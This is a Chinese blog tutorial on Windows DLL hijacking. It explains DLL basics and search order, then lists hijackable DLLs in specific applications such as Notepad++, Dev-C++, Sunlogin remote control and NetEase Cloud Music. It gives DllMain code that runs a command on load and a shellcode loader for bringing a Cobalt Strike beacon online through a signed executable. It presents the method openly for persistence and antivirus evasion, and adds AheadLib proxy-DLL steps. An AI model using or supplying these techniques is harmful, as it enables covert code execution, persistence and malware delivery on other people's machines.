DLL挟持分享
1 什么是dll
DLL(Dynamic Link Library)文件为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
动态链接库的目的就是使软件的体积变小,把功能封装到dll文件里,比如当qq软件进行更新时只需要去升级dll文件就可以,而不用从源码上去修改,可以大大的提高开发的效率。当exe启动的时候可以动态的调用dll文件。
注意,编译的时候使用x86编译只能32位的程序去用,x64的编译只能x64的程序能用
2 如何编写dll文件
使用vs创建动态链接库
注释处有解析帮助简单理解
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, //dll加载入内存中的起点(句柄)
DWORD ul_reason_for_call, //dll加载的原因
LPVOID lpReserved //参数通常为 NULL
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //进程的启动
case DLL_THREAD_ATTACH: //线程的启动
case DLL_THREAD_DETACH: //线程的结束
case DLL_PROCESS_DETACH: //进程的结束
break;
}
return TRUE;
}
如何给dll文件添加导出函数
首先先添加def文件,在文件中写入如下代码
EXPORTS
fun1
生成dll文件,到PE中进行查看,可以看到已经成功的写入导出函数
如何调用导出函数
两种读取方式
1 通过函数名调用
2 通过序号调用
#include<stdio.h>
#include<Windows.h>
typedef int(__stdcall* pfun)();
int main() {
HMODULE dll1 = LoadLibraryA("C:\\Users\\ws\\source\\repos\\Dll3\\Debug\\dll3.dll");
//1 通过函数名调用
pfun wstest = (pfun)GetProcAddress(dll1, "funtest");
//2 通过序号调用
//pfun wstest = (pfun)GetProcAddress(dll1, (LPCSTR)2);
printf("%d", wstest());
}
3 DLL利用场景
权限维持,在自启文件中添加dll文件直接机器重启直接上线
白加黑上线(寻找带数字签名的exe,会过掉一部分杀软拦截)
4 DLL加载顺序
1 进程对应的应用程序所在目录(程序所在目录)
2 系统目录(即C:\Windows\System32);
3 16位系统目录(C:\Windows\System);
4 Windows目录(可以使用GetWindowsDirectory函数获取此目录的路径);
5 当前目录(运行的某个文件所在目录)
6 PATH环境变量中的各个目录;
5 被保护的DLL
KnownDlls必须是在系统目录中,并且是在系统启动的时候,从注册表读取KnownDlls列表之后,如果加载这个dll,首先搜索系统目录,其次搜索当前目录。
注册表中的位置:
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
kernel32.dll
wow64cpu.dll
wowarmhw.dll
xtajit.dll
advapi32.dll
clbcatq.dll
combase.dll
COMDLG32.dll
coml2.dll
difxapi.dll
gdi32.dll
gdiplus.dll
IMAGEHLP.dll
IMM32.dll
MSCTF.dll
MSVCRT.dll
NORMALIZ.dll
NSI.dll
ole32.dll
OLEAUT32.dll
PSAPI.DLL
rpcrt4.dll
sechost.dll
Setupapi.dll
SHCORE.dll
SHELL32.dll
SHLWAPI.dll
user32.dll
WLDAP32.dll
wow64.dll
wow64base.dll
wow64con.dll
wow64win.dll
WS2_32.dll
xtajit64.dll
6 DLL挟持使用的工具
1 火绒剑
右上角可快速搜索进程
2 ProcessExplorer
打开文件右上角搜索
3 ProcessMonitor
7 快速发现可用DLL
LoadLibrary
和LoadLibraryEx
一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")
加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx
进行远程加载。
以notepad++6.6 为例
https://notepad-plus-plus.org/downloads/v6.6.6/
1、找不存在的DLL
通过这种方式寻找的DLL大概率可用
8 DLL挟持具体实现
弹计算机dll 代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
确定其是多少位的,确定使用vs编译使用的位数
1、notepad++6.6
SciLexer.dll
Msimg32.DLL
2、devcpp
SHFOLDER.DLL
3 向日葵远控
白加黑最好选择有数字签名的,此处需要注意向日葵为64位程序
可用白dll
WindowsCodecs.dll
利用向日葵上线CS
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "framework.h"
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
unsigned char buf[] = "";
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
};
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
4 网易云音乐
AUDIOSES.DLL
雷蛇
chrome_elf.dll
2、找存在的dll
AheadLib:https://github.com/strivexjun/AheadLib-x86-x64
DLL_Hijacker:https://github.com/coca1ne/DLL_Hijacker
这里推荐一款工具
AheadLib.exe
在devcpp中的version.dll中并没有发现其有loadlibrary函数,但是这个函数存在且不再被保护的名单当中。
copy dll文件到桌面打开该文件
直接点击生成
会生成一个cpp文件
cpp文件直接用vs编译
头文件添加 pch.h (一定要加在最上面不然会有莫名其妙的错误)
stdlib.h (这个是用来使用system函数)
在main函数中添加调用计算机的命令
将文件重命名为version.dll
直接放到devcpp的启动目录即可
标签:case,文件,调用,DLL,dll,include,挟持 From: https://www.cnblogs.com/Adfind/p/18253400